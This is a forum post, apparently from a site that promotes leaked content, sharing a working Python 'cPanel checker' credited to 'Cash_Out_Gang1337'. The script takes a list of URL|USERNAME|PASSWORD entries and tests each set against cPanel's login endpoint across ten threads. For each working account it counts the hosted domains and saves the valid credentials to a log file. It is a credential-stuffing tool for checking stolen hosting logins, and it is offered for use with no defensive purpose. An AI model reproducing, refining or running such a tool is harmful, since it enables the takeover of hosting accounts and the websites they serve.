• Register now to get access to thousands of Tutorials, Leaked content, Hot NSFW and much more. Join us as we build and grow the community.

Advertise Here

Advertise Here

Advertise Here

free fast cpanel checker !

pexocafa

Competitor SERP Analyst
P Rep
0
0
0
Rep
0
P Vouches
0
0
0
Vouches
0
Posts
35
Likes
169
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 2 1000 XP
fast cPanel checker python
import requests
import sys
import json
import time
from concurrent.futures import ThreadPoolExecutor
from colorama import *
requests.urllib3.disable_warnings()
init(autoreset=True)
msg0 = "Coded By Cash_Out_Gang1337 - cPanel And Domain Checker\n"
for i in msg0:
sys.stdout.write(i)
sys.stdout.flush()
time.sleep(0.02)
filename = input("Enter cPanel List: ")
urls = []
with open(filename, 'r', encoding="iso-8859-1") as f:
for line in f:
urls.append(line.strip().split('|'))
checked = 0
valid = 0
invalid = 0
def get_domain_count(url, username, password):
global checked, valid, invalid
data_user_pass = {
"user": username,
"pass": password
}
s = requests.Session()
try:
resp = s.post(f"{url}/login/?login_only=1", data=data_user_pass, timeout=20, allow_redirects=True)
login_resp = json.loads(resp.text)
time.sleep(0.05)
cpsess_token = login_resp["security_token"][7:]
resp = s.post(f"{url}/cpsess{cpsess_token}/execute/DomainInfo/domains_data", data={"return_https_redirect_status":"1"})
domains_data = json.loads(resp.text)
total_domain = 1
if domains_data["status"] == 1:
total_domain += len(domains_data["data"]["sub_domains"])
total_domain += len(domains_data["data"]["addon_domains"])
print(Fore.GREEN + f"[GOOD CPANEL] --> {url} | Domains: {total_domain}")
open(f"SuccescPanels.log", "a").write(url + "|" + username + "|" + password + "\n")
open(f"DomainNumberList.txt", "a", encoding="iso-8859-1").write(url + " --> Domains: " + str(total_domain) + "\n")
valid += 1
except Exception:
print(Fore.RED + f"Bad! Login: {url}")
invalid += 1
finally:
s.close()
time.sleep(0.05)
checked += 1
with ThreadPoolExecutor(max_workers=10) as executor:
for url_info in urls:
try:
url, username, password = url_info
executor.submit(get_domain_count, url, username, password)
except ValueError:
print("Error: Invalid URL format")
except RequestException:
print("Error: Request failed")
except Exception as e:
print(f"Error: {e}")
print(f"Checked: {checked} | Valid: {valid} | Invalid: {invalid}")
format liste .txt URL|USERNAME|PASSWORD
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

452,501

355,784

355,791

Top